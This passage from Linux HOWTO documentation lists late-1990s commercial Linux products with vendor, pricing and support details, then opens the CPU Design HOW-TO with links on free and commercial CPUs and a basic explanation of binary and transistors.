
http://www.xig.com

Contact:

Kyle Fink

Last modified:

August 14, 1997.

19.2 BXwidgets

Description:

BXwidgets is a supplementary widget set to develop especially commercial Motif applications. It includes special widgets for tabulars, masks, formatted input field and the full support for a complete help system. All has Motif look and feel and is platform independent.

Distribution media:

3.5" diskettes.

Licensing policy:

Source code licence.

OS provisions:

Any kernel, X11R5 or X11R6, Motif 1.1 or Motif 1.2.

Documentation:

About 250 pages of documenation with examples. Several demo programs.

Product support:

Support and update service is available (DM 1200; approximately US$750)

Available since:

1992.

Countries with distribution:

Germany, UK and USA.

Price range:

DM 1600 (approximately US$1000) for a full source code licence.

Vendor:

BREDEX GmbH

Fallersleber-Tor-Wall 23
D-38100 Braunschweig
Germany

Phone:

+49 531 24 33 0 0

Fax:

+49 531 24 33 0 99

EMail:

info@bredex.de

URL:

http://www.bredex.de

Last modified:

November 3, 1997.

19.3 BXwidgets/DB

Description:

BXwidgets/DB is a supplementary widget set to access relational databases. Data can be automatically queried form the database, displayed in various forms, changed and stored in the database. All applications built with BXwidgets/DB are database independent. The database access is performed by transaction-servers. Transaction-Server and database may reside on other hotsts in the network.

Distribution media:

CD-ROM.

Licensing policy:

Per OS license, no run-time restrictions. Evaluation license available.

OS provisions:

X11R5 and Motif 1.2 must be installed.

Documentation:

Printed manual in English.

Product support:

Support and update service is available.

Available since:

1996.

Price range:

DM 4900 (approximately US$2900).

Vendor:

BREDEX GmbH

Fallersleber-Tor-Wall 23
D-38100 Braunschweig
Germany

Phone:

+49 531 24 33 0 0

Fax:

+49 531 24 33 0 99

EMail:

info@bredex.de

URL:

http://www.bredex.de

Last modified:

November 3, 1997.

19.4 Laptop, Accelerated-X Display Server

Description:

Commercial grade X display server with workstation-class features like multiple visuals, overlays, and gamma correction for FreeBSD and Linux. The AcceleratedX server drives the most popular laptop hardware, including the latest cards from Dell, IBM, Toshiba, and Neo Magic.

Distribution media:

CD-ROM.

Licensing policy:

Per CPU.

OS provisions:

No known problems with any Linux distribution.

Documentation:

A 100 page perfect bound manual is included.

Product support:

Unlimited support in included.

Available since:

1994.

Countries with distribution:

World wide.

Price range:

Contact your local reseller, or Xi Graphics.

Vendor:

Xi Graphics

1801 Broadway, Suite 1710
Denver, CO 80202
U.S.A.

Phone:

+1 303 298 7478

Fax:

+1 303 298 1406

EMail:

sales@xig.com

URL:

http://www.xig.com

Contact:

Kyle Fink

Last modified:

August 14, 1997.

19.5 MaXimum cde Developer's Edition v1.0

Description:

A complete networked desktop that enables administrators to integrate industry-standard PCs into existing Unix networks with better internationalization and the same functionality as more expensive workstations. Also includes developer's tools.

Distribution media:

CD-ROM.

Licensing policy:

Per CPU.

OS provisions:

No known problems with any Linux distribution.

Documentation:

A 100 page perfect bound manual the Accelerated-X server and a 300 page perfect bound manual for CDE is included.

Product support:

Unlimited support in included.

Available since:

1997.

Countries with distribution:

World wide.

Price range:

Contact your local reseller, or Xi Graphics.

Vendor:

Xi Graphics

1801 Broadway, Suite 1710
Denver, CO 80202
U.S.A.

Phone:

+1 303 298 7478

Fax:

+1 303 298 1406

EMail:

sales@xig.com

URL:

http://www.xig.com

Contact:

Kyle Fink

Last modified:

August 14, 1997.

19.6 Multi-headed, Accelerated-X Display Server

Description:

Commercial grade X display server with workstation-class features like multiple visuals, overlays, and gamma correction for FreeBSD and Linux. The AcceleratedX server drives the most popular graphics hardware, including the latest cards from Colorgraphics, STB, and Matrox. In all, more than 10 different cards are supported.

Distribution media:

CD-ROM.

Licensing policy:

Per CPU.

OS provisions:

No known problems with any Linux distribution.

Documentation:

A 100 page perfect bound manual is included.

Product support:

Installation support in included.

Available since:

1994.

Countries with distribution:

World wide.

Price range:

Contact your local reseller, or Xi Graphics.

Vendor:

Xi Graphics

1801 Broadway, Suite 1710
Denver, CO 80202
U.S.A.

Phone:

+1 303 298 7478

Fax:

+1 303 298 1406

EMail:

sales@xig.com

URL:

http://www.xig.com

Contact:

Kyle Fink

Last modified:

August 14, 1997.

19.7 OpenGL, Accelerated-X Display Server

Description:

Commercial grade X display server with workstation-class features like multiple visuals, overlays, and gamma correction for FreeBSD and Linux. The AcceleratedX server drives the most popular graphics hardware, including the latest cards from ATI, Diamond, Matrox, NeoMagic, Number 9, and S3. The lastest version of OpenGL from Silicon Graphics Inc. In all, more than 450 different cards are supported.

Distribution media:

CD-ROM.

Licensing policy:

Per CPU.

OS provisions:

No known problems with any Linux distribution.

Documentation:

A 100 page perfect bound manual is included.

Product support:

Installation support in included.

Available since:

1994.

Countries with distribution:

World wide.

Price range:

Contact your local reseller, or Xi Graphics.

Vendor:

Xi Graphics

1801 Broadway, Suite 1710
Denver, CO 80202
U.S.A.

Phone:

+1 303 298 7478

Fax:

+1 303 298 1406

EMail:

sales@xig.com

URL:

http://www.xig.com

Contact:

Kyle Fink

Last modified:

August 14, 1997.

19.8 OSF-Certified Motif

Description:

A complete OSF-Certified Motif runtime and development environment.

Distribution media:

CD-ROM.

Licensing policy:

Per CPU.

OS provisions:

No known problems with any Linux distribution.

Documentation:

Release note that include references to well-written commerical reference manuals.

Product support:

Installation support in included.

Available since:

1995.

Countries with distribution:

World wide.

Price range:

Contact your local reseller, or Xi Graphics.

Vendor:

Xi Graphics

1801 Broadway, Suite 1710
Denver, CO 80202
U.S.A.

Phone:

+1 303 298 7478

Fax:

+1 303 298 1406

EMail:

sales@xig.com

URL:

http://www.xig.com

Contact:

Kyle Fink

Last modified:

August 14, 1997.


Linux Commercial HOWTO: Other Software

 Next Previous Contents

20. Other Software

20.1 ABACUS 4

Description:

The ABACUS 4 process control system is a block based software system for the real time control of industrial and other continuous and batch processes.

Distribution media:

Available at http://www.arosnet.se/bbab/abacus-4.980708.tar.gz

Licensing policy:

Per machine license.

OS provisions:

Tested on Slackware 3.4, expected to run on any Linux distribution for Linux.

Documentation:

Reference Manual is in HTML and included with the product. Can be seen at http://www.arosnet.se/bbab/abacusmanual/index.html

Product support:

EMail support.

Available since:

July 1998.

Countries with distribution:

World wide.

Price range:

US$1995 per CPU, discounts for quantity.

Vendor:

McHedlund Associates

c/o Bristol Babcock AB
Fallhammargatan 2a
S-72133 Västerås
Sweden

Phone:

+46 21 350450

Fax:

+46 21 350455

EMail:

abacusabacus@hotmail.com, abacus4@geocities.com

URL:

http://www.geocities.com/Eureka/Enterprises/2275/abacus4.html

Contact:

Frank McNamara

Last modified:

July 12, 1998.

20.2 BBBS

Description:

Complete BBS package with full internal FidoNet and Internet support. ISDN, mailer, mail processor, TICK, AllFix, telnet, FTP, finger, news, EMail, gateway, offline, VT320, ANSI, multilingual, multinode, Mg, full screen editor, multitask, CD-ROM, HYDRA, Zmodem, Kermit, BZLink, TCP/IP, voice, FAX, charsets, accounts, IRC, plus much much more. Everything you need to run a BBS!

Distribution media:

3.5" diskette, Internet (FTP and WWW).

Licensing policy:

Per node basis. Shareware version can be downloaded from http://www.bbbs.net.

OS provisions:

Current version, 3.33 How, is for libc5. Next version and current beta is for libc6.

Documentation:

ASCII and HTML documentation, English.

Extra features and add-ons:

Lot of 3rd party utilities.

Countries with distribution:

World wide.

Price range:

Two node license US$60.

Vendor:

Foobar Oy

Paavolankatu 3 D 34
FIN-20240 Turku
Finland

Phone:

+358 2 240 1513

Fax:

+358 2 240 7755

EMail:

b@bbbs.net

URL:

http://www.bbbs.net

Contact:

Kim Heino

Last modified:

August 2, 1998.

20.3 Clustor

Description:

Clustor is a program for managing large computational tasks. Clustor greatly simplifies a common computationally intensive activity - running the same program code numerous times with different inputs. Clustor provides increased performance by distributing jobs over a network of computers and improved task management through a friendly user interface.

Targeted at users who run computationally demanding tasks, Clustor supports all phases of running such a task: task preparation, job generation and job execution. With Clustor, users who do not have extensive knowledge of programming parallel applications, such as scientists, engineers, researchers, are able to utilize the power of networked computers.

Distribution media:

Internet (WWW). Optional CD-ROM.

Licensing policy:

A free demo licenses with limited functionality, 30 days evaluation licenses with complete functionality from our web site.

OS provisions:

Linux 1.2 or higher.

Documentation:

Web site, optional printed documentation.

Product support:

EMail support.

Extra features and add-ons:

Features for load monitoring and resource sharing, network installation program.

Available since:

February, 1997.

Countries with distribution:

World wide

Price range:

Starting at US$495.

Vendor:

Active Tools Inc.

246 First Street, Suite 310
San Francisco, CA 94105
U.S.A.

Phone:

+1 415 882 7062

Fax:

+1 415 680 2369

EMail:

info@activetools.com

URL:

http://www.activetools.com

Contact:

Rok Sosic, Sergij Foski

Last modified:

August 7, 1997.

20.4 FootPrints

Description:

The first web-based helpdesk software system. Tracks problems/solutions, trouble tickets -- whatever information you need to manage -- and makes it available via the World Wide Web to your customers or users. Resides on Unix or NT Web server; platform independent access using any web browser.

Distribution media:

Internet (FTP and WWW). Also available: 3.5" diskettes and tape.

Licensing policy:

Free eval available from http://www.unipress.com/cgi-bin/free_evals or ftp://ftp.unipress.com/pub/free_evals.

Pricing is on a per-user basis.

OS provisions:

Runs with any Linux running a web server.

Documentation:

Online manual/help.

Product support:

15% of software purchase price charged for maintenance and updates. Technical support via web and phone is free.

Available since:

January 1, 1997.

Countries with distribution:

World wide.

Price range:

US$1995 per starter pack (server software plus 3 user licenses). Licenses may be Group (a number of users can access your helpdesk, e.g. all your customers use one Group license) or Individual (helpdesk engineers and administrators would each require one Individual license).

Vendor:

UniPress Software, Inc.

2025 Lincoln Highway
Edison, NJ 08817
U.S.A.

Phone:

+1 800 222 0550, +1 732 287 2100

Fax:

+1 732 287 4929

EMail:

info@unipress.com

URL:

http://www.unipress.com/footprints

Contact:

Sue Glassberg <sue@unipress.com>

Last modified:

August 4, 1997.

20.5 Aladdin Ghostscript

Description:

PostScript, PDF, PCL5e (2Q97), PCL5c (2Q97), and PCL XL interpreter. Provides X Windows previewing, conversion to half a dozen raster file formats, and output to dozens of printers. Runs in all OS environments, not just Linux, and on any processor (32- or 64-bit) with a C compiler. Can drive black-and-white, RGB, and CMYK devices, both bilevel and continuous-tone. For more information, see http://www.cs.wisc.edu/~ghost/index.html. Note that Aladdin Ghostscript is an OEM product only: end-user licensing is not available (and not necessary, since the product is free for end users), nor is end-user support.

Distribution media:

3.5" diskettes.

Licensing policy:

Normally per-CPU. License normally includes source code, upgrades, and support.

OS provisions:

X11R5 or later is required for X Windows previewing. OS-specific modules are available for Unix (including Linux), VMS, MS Windows (including Windows NT), OS/2, and Macintosh. Porting to other OSs is simple: all OS dependencies are segregated in a single file of typically less than 100 lines of code.

Documentation:

Online documentation only, in English. Currently in plain ASCII text; texinfo and HTML versions are in preparation.

Product support:

Normally included in license; by EMail, phone, and fax.

Extra features and add-ons:

Each input language is priced separately, with a discount for multiple languages.

Available since:

1988 as free software, 1991 commercially.

Countries with distribution:

World wide.

Price range:

Negotiated for each customer.

Vendor:

Artifex Software Inc.

454 Las Gallinas Avenue, Suite 108
San Rafael, CA 94903
U.S.A.

Phone:

+1 415 492 9861

Fax:

+1 415 492 9862

EMail:

info@arsoft.com

URL:

http://www.cs.wisc.edu/~ghost/index.html

Last modified:

September 30, 1997.

20.6 Magician

Description:

Magician is a high performance Java interface to native OpenGL implementations allowing developers to write sophisticated OpenGL applications in Java.

Distribution media:

CD-ROM and Internet (WWW).

Licensing policy:

Free for personal use only. However, personal users may acquire a licence affording faster technical support and the software for all platforms on CD and a printed manual. Commercial users are required to licence the product for use. Source code licences are also available.

OS provisions:

Runs on Linux (libc5 and glibc) based systems.

Documentation:

Freely downloadable javadoc API reference. Freely downloadable comprehensive Programmer's Guide.

Product support:

Support for Magician is available via EMail, phone and fax. Mailing lists exist for inter-developer discussions. The purchase of licences (personal or commercial) gives you higher priority support.

Extra features and add-ons:

Support for all OpenGL 1.1 GL and GLU calls. Many features of Aux and GLUT have also been translated to work within a Java environment. Built-in, easy-to-use multiple simultaneous view support. Multi-threaded rendering. Support for direct OpenGL calls or polymorphic methods.

Available since:

June 10, 1998.

Countries with distribution:

World wide.

Price range:

US$35 for a Personal Runtime Licence. US$200 per set for Commercial Runtime Licences. Source licences pricing available on request.

Vendor:

Arcane Technologies Ltd.

P.O. Box 3738
Glasgow, G41 4YD
Scotland
UK

Phone:

+44 141 423 3449

Fax:

+44 141 423 3449

EMail:

magician-sales@arcana.co.uk

URL:

http://www.arcana.co.uk/products/magician

Contact:

Alligator Descartes

Last modified:

July 12, 1998.

20.7 journyx WebTime

Description:

A web based time and attendance tracking software product. You can record and report on employee time worldwide using the power of the Internet, or across your entire enterprise on your Intranet.

Distribution media:

3.5" diskettes and Internet (FTP).

Licensing policy:

Free for first 60 days of use, US$1000 plus US$25 per user thereafter.

OS provisions:

Runs on any version of Linux.

Documentation:

All documentation is in HTML and included online with the product.

Product support:

A maintenance contract is 15% of the purchase price per annum.

Extra features and add-ons:

Works with any browser including text based browsers such as lynx. Easy export of data to Microsoft Excel or Quickbooks. Free webserver and SQL database engine included in the package.

Available since:

August 1, 1997.

Countries with distribution:

World wide.

Price range:

U$1000-$10,000.

Vendor:

journyx

6716 Beauford Drive
Austin, TX 78750
U.S.A.

Phone:

+1 512 345 8282

Fax:

+1 512 342 9379

EMail:

info@journyx.com

URL:

http://journyx.com

Contact:

Curt Finch

Last modified:

October 24, 1997.

20.8 LanSafe

Description:

LanSafe III is a UPS Power Management application. It provides automatic orderly shutdown functionality in case of an extended power failure that should outlast the UPS battery run time. LanSafe III enables broadcast messages and EMail to be sent according to user defined power condition changes.

LanSafe III is bundled with the following Exide Electronics UPSs: OneUPS Plus, NetUPS, PowerWare Prestige, PowerWare Profile, PowerWare Plus 5xx. It also ships with FPS Power Systems UPSs: PowerRite Plus, PowerRite Max, PowerWorks A30, PowerWorks A40, Series 9000 and Series 10000.

It is also possible to purchase a separate software license to use with a previous UPS model or an other manufactures UPS.

Distribution media:

CD-ROM.

OS provisions:

Linux kernel 2.0. Both X/Motif based and character based user interfaces provided.

Documentation:

Online help. Online manual.

Product support:

Available.

Extra features and add-ons:

Support for other manufacturer's UPS.

Available since:

May, 1997.

Countries with distribution:

World wide.

Price range:

US$149.

Vendor (USA):

Exide Electronics

8609 Six Forks Road
Raleigh, NC 27615
U.S.A.

Vendor (Europe/Middle East/Africa):

Exide Electronics S.A.

MPL House, Prescott Road
Poyle, Colnbrook
Berkshire, SL3 0AE
UK

Phone:

+1 800 554 3448, +1 919 872 3020, +44 1753 686200

Fax:

+1 800 75 EXIDE, +44 1753 686827

EMail:

info@exide.com, info@deltecpower.com, sales_support@exide.co.uk

URL:

http://www.exide.com, http://www.deltecpower.com, http://www.fpsUPS.com

Last modified:

October 12, 1997.

20.9 LjetMgr

Description:

Printers from Hewlett-Packard (both laser and ink variants) have an extensive set of configurable options. These options are normally set on the front panel of the printer.

The most notable options are:

  • Ccono-mode to save toner
  • Powersave mode
  • Page format selection
  • Font/typeface and language selection

With LjetManager you can directly modify these settings on your screen. It is especially usefull for printers that lack front panel configurability (like the LaserJet 5L) or if you have more than one printer at your disposal.

LjetManager sports a graphical user interface, is fully localizable and comes with documentation and help pages in HTML format.

Distribution media:

3.5" diskettes, Internet (EMail and WWW).

Licensing policy:

You can download a demo version version of LjetMgr from the following location and the corresponding mirror sites: ftp://sunsite.unc.edu/pub/Linux/system/Printing Just have a look for ljetmgr-2.6.README and the accompanying files.

OS provisions:

Needs a printer that supports PJL. Available for Linux on Intel.

Documentation:

Complete context sensitive Help and documentation in HTML format. A PostScript version is available on request.

Product support:

Prices include installation support and one year of free upgrades. Additional support available on request.

Available since:

May, 1996.

Countries with distribution:

World wide.

Price range:

Please contact softWorks for current prices. Discounts for educational institutions and students available.

Vendor:

softWorks, Richard Schwaninger

Theodor-Körnerstr. 173
A-8010 Graz
Austria

Phone:

+43 316 686590

Fax:

+43 316 686590

EMail:

risc@ping.at

URL:

http://members.ping.at/risc

Contact:

Richard Schwaninger

Last modified:

August 7, 1997.

20.10 Synchronize/CyberScheduler

Description:

Calendaring and scheduling software for LANS, WANs and Intranets.

Distribution media:

Internet (FTP).

Licensing policy:

Per user.

OS provisions:

Linux.

Documentation:

Take a look at our web site.

Available since:

1989.

Countries with distribution:

World wide.

Price range:

US$100 per user.

Vendor:

CrossWind Technologies Inc.

1505 Ocean Street, Suite 1
Santa Cruz, CA 95060
U.S.A.

Phone:

+1 408 469 1780

Fax:

+1 408 469 1750

EMail:

info@crosswind.com

URL:

http://www.crosswind.com

Contact:

Anne Becker

Last modified:

November 13, 1997.


Linux Commercial HOWTO: Free Software for Commercial Hardware

 Next Previous Contents

21. Free Software for Commercial Hardware

This section covers free Linux software (e.g. drivers) for specialized hardware.

21.1 Stallion Technologies Multiport Serial Boards

Description:

Stallion provides Linux support for its EasyIO and EasyConnection range of multiport cards. EasyIO is available with either 4 asynchronous serial ports with RJ45 connectors, or 8 asynchronous serial ports with RJ45 or DB25 connectors. EasyIO supports data rates of up to 145 Kbits/sec or 460 Kbits/sec per port (depending on the model) and full modem signaling. Drivers are available for most Intel-based operating systems, including Linux. EasyIO is available for the ISA bus.

EasyConnection is an expandable multiport solution that provides from 8 to 64 asynchronous serial ports in 8 or 16 port increments. Both RJ45 and DB25 connectors are available. Features include full surge suppression, full modem signaling, and data rates of up to 145 Kbits/sec or 460 Kbits/sec per port (depending on the panel version). Drivers are available for most Intel-based operating systems, including Linux. EasyConnection is available for the ISA, EISA and PCI bus.

Distribution media:

Internet (FTP).

Licensing policy:

The Linux driver is available at no charge and is copyrighted under the GNU General Public License. Source code is provided.

OS provisions:

The most current driver supports all 2.0.x kernel versions. The drivers are updated regularly to keep pace with kernel changes.

Documentation:

Hardware reference documentation provided with the boards. The Linux driver package contains a README file with driver installation and usage information.

Product support:

Stallion Technologies now fully supports the Stallion board Linux drivers. Software updates are available from the Internet. Stallion also provides technical support for the hardware. Contact Stallion support for assistance.

Available since:

October, 1994.

Countries with distribution:

World wide distribution. Available in most countries.

Price range:

Prices for the serial boards vary from country to country. Contact your nearest Stallion Technologies office for local availability and pricing. The driver package contains a file with contact information for all Stallion Technologies offices.

Vendor:

Stallion Technologies Pty Ltd.

2880 Research Park Drive, Suite 160
Soquel, CA 95073
U.S.A.

Phone:

+1 800 347 7979

Fax:

+1 408 477 0444

EMail:

info@stallion.com

URL:

http://www.stallion.com

FTP:

ftp://ftp.stallion.com

Last modified:

September 30, 1997.


CPU Design HOW-TO

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v12.2, 12 Feb 2002

CPU is the "brain" of computer and is a very vital component of computer system and is like a "cousin brother" of operating system (Linux or Unix). This document helps companies, businesses, universities and research institutes to design, build and manufacture CPUs. Also the information will be useful for university students of U.S.A and Canada who are studying computer science/engineering. The document has URL links which helps students understand how a CPU is designed and manufactured. Perhaps in near future there will be a GNU/GPLed CPU running Linux, Unix, Microsoft Windows, Apple Mac and BeOS operating systems!!

1. Introduction

2. What is IP ?

  • 2.1 Free CPU List
  • 2.2 Commercial CPU List

3. CPU Museum and Silicon Zoo

  • 3.1 CPU Museum
  • 3.2 How Transistors work
  • 3.3 How a Transistors handles information
  • 3.4 Displaying binary information
  • 3.5 What is a Semi-conductor?

4. CPU Design and Architecture

  • 4.1 CPU Design
  • 4.2 Online Textbooks on CPU Architecture
  • 4.3 University Lecture notes on CPU Architecture
  • 4.4 CPU Architecture
  • 4.5 Usenet Newsgroups for CPU design

5. Fabrication, Manufacturing CPUs

  • 5.1 Foundry Business is in Billions of dollars!!
  • 5.2 Fabrication of CPU

6. Super Computer Architecture

  • 6.1 Main Architectural Classes
  • 6.2 SISD machines
  • 6.3 SIMD machines
  • 6.4 MISD machines
  • 6.5 MIMD machines
  • 6.6 Distributed Processing Systems
  • 6.7 ccNUMA machines

7. Neural Network Processors

8. Related URLs

9. Other Formats of this Document

  • 9.1 Acrobat PDF format
  • 9.2 Convert Linuxdoc to Docbook format
  • 9.3 Convert to MS WinHelp format
  • 9.4 Reading various formats

10. Copyright


CPU Design HOW-TO: Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

This document provides you comprehensive list of URLs for CPU Design and fabrication. Using this information students, companies, universities or businesses can make new CPUs which can run Linux/Unix operating systems.

In olden days, chip vendors were also the IP developers and the EDA tools developers. Nowadays, we have specialized fab companies (TSMC http://www.tsmc.com), IP companies (ARM http://www.arm.com, MIPS http://www.mips.com, Gray Research LLC http://cnets.sourceforge.net/grllc.html ), and tools companies ( Mentor http://www.mentor.com, Cadence http://www.cadence.com, etc.), and combinations of these (Intel). You can buy IP bundled with hardware (Intel), bundled with your tools (EDA companies), or separately (IP providers).

Enter the FPGA vendors (Xilinx http://www.xilinx.com, Altera http://www.altera.com). They have an opportunity to seize upon a unique business model.

VA Linux systems http://www.valinux.com builds the entire system and perhaps in future will design and build CPUs for Linux.

Visit the following CPU design sites:

  • FPGA CPU Links http://www.fpgacpu.org/links.html
  • FPGA Main site http://www.fpgacpu.org
  • OpenRISC 1000 Free Open-source 32-bit RISC processor IP core competing with proprietary ARM and MIPS is at http://www.opencores.org
  • Open IP org http://www.openip.org
  • Free IP org - ASIC and FPGA cores for masses http://www.free-ip.com


CPU Design HOW-TO: What is IP ?

 Next Previous Contents

2. What is IP ?

What is IP ? IP is short for Intellectual Property. More specifically, it is a block of logic that can be used in making ASIC's and FPGA's. Examples of "IP Cores" are, UART's, CPU's, Ethernet Controllers, PCI Interfaces, etc. In the past, quality cores of this nature could cost anywhere from US$5,000 to more than US$350,000. This is way too high for the average company or individual to even contemplate using -- Hence, the Free-IP project.

Initially the Free-IP project will focus on the more complex cores, like CPU's and Ethernet controllers. Less complex cores might follow.

The Free-IP project is an effort to make quality IP available to anyone.

Visit the following sites for IP cores -

  • Open IP org http://www.openip.org
  • Free IP org - ASIC and FPGA cores for masses http://www.free-ip.com
  • FPGA Main site http://www.fpgacpu.org

2.1 Free CPU List

Here is the list of Free CPUs available or curently under development -

  • F-CPU 64-bit Freedom CPU http://www.f-cpu.org mirror site at http://www.f-cpu.de

  • European Space Agency - SPARC architecture LEON CPU http://www.estec.esa.nl/wsmwww/leon
  • European Space Agency - ERC32 SPARC V7 CPU http://www.estec.esa.nl/wsmwww/erc32
  • Atmel ERC32 SPARC part # TSC695E http://www.atmel-wm.com/products click on Aerospace=>Space=>Processors

  • Sayuri at http://www.morphyplanning.co.jp/Products/FreeCPU/freecpu-e.html and manufactured by Morphy Planning Ltd at http://www.morphyone.org and feature list at http://ds.dial.pipex.com/town/plaza/aj93/waggy/hp/features/morphyone.htm and in Japanese language at http://www.morphyplanning.or.jp

  • OpenRISC 1000 Free 32-bit processor IP core competing with proprietary ARM and MIPS is at http://www.opencores.org/cores/or1k
  • OpenRISC 2000 is at http://www.opencores.org
  • STM 32-bit, 2-way superscalar RISC CPU http://www.asahi-net.or.jp/~uf8e-itu

  • Green Mountain - GM HC11 CPU Core is at http://www.gmvhdl.com/hc11core.html
  • Open-source CPU site - Google Search "Computers>Hardware>Open Source" http://directory.google.com/Top/Computers/Hardware/Open_Source
  • Free microprocessor and DSP IP cores written in Verilog or VHDL http://www.cmosexod.com
  • Free hardware cores to speed development http://www.scrap.de/html/opencore.htm
  • Linux open hardware and free EDA systems http://opencollector.org

2.2 Commercial CPU List

  • Russian E2K 64-bit CPU (Very fast CPU !!!) website : http://www.elbrus.ru/roadmap/e2k.html. ELBRUS is now partnered (alliance) with Sun Microsystems of USA.

  • Korean CPU from Samsung 64-bit CPU original from DEC Alpha http://www.samsungsemi.com Alpha-64bit CPU is at http://www.alpha-processor.com Now there is collaboration between Samsumg, Compaq of USA on Alpha CPU
  • Intel IA 64 http://developer.intel.com/design/ia-64
  • Transmeta crusoe CPU and in near future Transmeta's 64-bit CPU http://www.transmeta.com
  • Sun Ultra-sparc 64-bit CPU http://www.sun.com or http://www.sunmicrosystems.com
  • MIPS RISC CPUs http://www.mips.com
  • Silicon Graphics MIPS Architecture CPUs http://www.sgi.com/processors
  • IDT MIPS Architecture CPUs http://www.idt.com
  • IBM Power PC (motorola) http://www.motorola.com/SPS/PowerPC/index.html
  • Motorola embedded processors. SPS processor based on PowerPC, M-CORE, ColdFire, M68k, or M68HC cores http://www.mot-sps.com
  • Hitachi SuperH 64-bit RISC processor SH7750 http://www.hitachi.com sold at $40 per cpu in quantities of 10,000. Hitachi SH4,3,2,1 CPUs http://semiconductor.hitachi.com/superh
  • Fujitsu 64-bit processor http://www.fujitsu.com
  • HAL-Fujitsu (California) Super-Sparc 64-bit processor http://www.hal.com also compatible to Sun's sparc architecture.
  • Seimens Pyramid CPU from Pyramid Technologies
  • Intel X86 series 32-bit CPUs Pentiums, Celeron etc..
  • AMDs X86 series 32-bit CPUs K-6, Athlon etc..
  • National's Cyrix X86 series 32-bit CPUs Cyrix etc..
  • ARC CPUs : http://www.arccores.com
  • QED RISC 64-bit and MIPS cpus : http://www.qedinc.com/about.htm
  • Origin 2000 CPU - http://techpubs.sgi.com/library/manuals/3000/007-3511-001/html/O2000Tuning.1.html
  • NVAX CPUs http://www.research.compaq.com/wrl/DECarchives/DTJ/DTJ700 and at mirror-site
  • Univ. of Mich High-perf. GaAs Microprocessor Project http://www.eecs.umich.edu/UMichMP
  • Hyperstone E1-32 RISC/DSP processor http://bwrc.eecs.berkeley.edu/CIC/tech/hyperstone
  • PSC1000 32-bit RISC processor http://www.ptsc.com/psc1000/index.html
  • IDT R/RV4640 and R/RV4650 64-bit CPU w/DSP Capability http://www.idt.com/products/pages/Processors-PL100_Sub205_Dev128.html
  • ARM CPU http://www.arm.com/Documentation
  • Cogent CPUs http://www.cogcomp.com
  • CPU Info center - List of CPUs sparc, arm etc.. http://bwrc.eecs.berkeley.edu/CIC/tech
  • Main CPU site is : Google Search engine CPU site "Computers>Hardware>Components>Microprocessors" http://directory.google.com/Top/Computers/Hardware/Components/Microprocessors

Other important CPU sites are at -

  • World-wide 24-hour news on CPUs http://www.newsnow.co.uk/cgi/NewsNow/NewsLink.htm?Theme=Processors
  • The computer architecture site is at http://www.cs.wisc.edu/~arch/www
  • ARM CPU http://www.arm.com/Documentation
  • Great CPUs http://www.cs.uregina.ca/~bayko/cpu.html
  • Microdesign resources http://www.mdronline.com


CPU Design HOW-TO: CPU Museum and Silicon Zoo

 Next Previous Contents

3. CPU Museum and Silicon Zoo

This chapter gives very basics of CPU technology. If you have good technical background then you can skip this entire chapter.

3.1 CPU Museum

CPU Museum is at

  • Intel CPU Museum http://www.intel.com/intel/intelis/museum
  • Intel - History of Microprocessors http://www.intel.com/intel/museum/25anniv
  • Virtual Museum of Computing http://www.museums.reading.ac.uk/vmoc
  • Silicon Zoo http://micro.magnet.fsu.edu/creatures/index.html
  • Intel - How the Microprocessors work http://www.intel.com/education/mpuworks
  • Simple course in Microprocessors http://www.hkrmicro.com/course/micro.html

3.2 How Transistors work

Microprocessors are essential to many of the products we use every day such as TVs, cars, radios, home appliances and of course, computers. Transistors are the main components of microprocessors. At their most basic level, transistors may seem simple. But their development actually required many years of painstaking research. Before transistors, computers relied on slow, inefficient vacuum tubes and mechanical switches to process information. In 1958, engineers (one of them Intel founder Robert Noyce) managed to put two transistors onto a silicon crystal and create the first integrated circuit that led to the microprocessor.

Transistors are miniature electronic switches. They are the building blocks of the microprocessor which is the brain of the computer. Similar to a basic light switch, transistors have two operating positions, on and off. This on/off, or binary functionality of transistors enables the processing of information in a computer.

How a simple electronic switch works:

The only information computers understand are electrical signals that are switched on and off. To comprehend transistors, it is necessary to have an understanding of how a switched electronic circuit works. Switched electronic circuits consist of several parts. One is the circuit pathway where the electrical current flows - typically through a wire. Another is the switch, a device that starts and stops the flow of electrical current by either completing or breaking the circuit's pathway. Transistors have no moving parts and are turned on and off by electrical signals. The on/off switching of transistors facilitates the work performed by microprocessors.

3.3 How a Transistors handles information

Something that has only two states, like a transistor, can be referred to as binary. The transistor's on state is represented by a 1 and the off state is represented by a 0. Specific sequences and patterns of 1's and 0's generated by multiple transistors can represent letters, numbers, colors and graphics. This is known as binary notation

3.4 Displaying binary information

Spell your name in Binary:

Each character of the alphabet has a binary equivalent. Below is the name JOHN and its equivalent in binary.

        J  0100 1010
        O  0100 1111
        H  0100 1000
        N  0100 1110
More complex information can be created such as graphics, audio and video using the binary, or on/off action of transistors.

Scroll down to the Binary Chart below to see the complete alphabet in binary.

Binary Chart for Alphabets
Character | Binary | Character | Binary
A | 0100 0001 | N | 0100 1110
B | 0100 0010 | O | 0100 1111
C | 0100 0011 | P | 0101 0000
D | 0100 0100 | Q | 0101 0001
E | 0100 0101 | R | 0101 0010
F | 0100 0110 | S | 0101 0011
G | 0100 0111 | T | 0101 0100
H | 0100 1000 | U | 0101 0101
I | 0100 1001 | V | 0101 0110
J | 0100 1010 | W | 0101 0111
K | 0100 1011 | X | 0101 1000
L | 0100 1100 | Y | 0101 1001
M | 0100 1101 | Z | 0101 1010

3.5 What is a Semi-conductor?

Conductors and insulators :

Many materials, such as most metals, allow electrical current to flow through them. These are known as conductors. Materials that do not allow electrical current to flow through them are called insulators. Pure silicon, the base material of most transistors, is considered a semiconductor because its conductivity can be modulated by the introduction of impurities.

Anatomy of Transistor

Semiconductors and flow of electricity

Adding certain types of impurities to the silicon in a transistor changes its crystalline structure and enhances its ability to conduct electricity. Silicon containing boron impurities is called p-type silicon - p for positive or lacking electrons. Silicon containing phosphorus impurities is called n-type silicon - n for negative or having a majority of free electrons

A Working Transistor

A Working transistor - The On/Off state of Transistor

Transistors consist of three terminals; the source, the gate and the drain.

In the n-type transistor, both the source and the drain are negatively-charged and sit on a positively-charged well of p-silicon.

When positive voltage is applied to the gate, electrons in the p-silicon are attracted to the area under the gate forming an electron channel between the source and the drain.

When positive voltage is applied to the drain, the electrons are pulled from the source to the drain. In this state the transistor is on.

If the voltage at the gate is removed, electrons aren't attracted to the area between the source and drain. The pathway is broken and the transistor is turned off.

Impact of Transistors

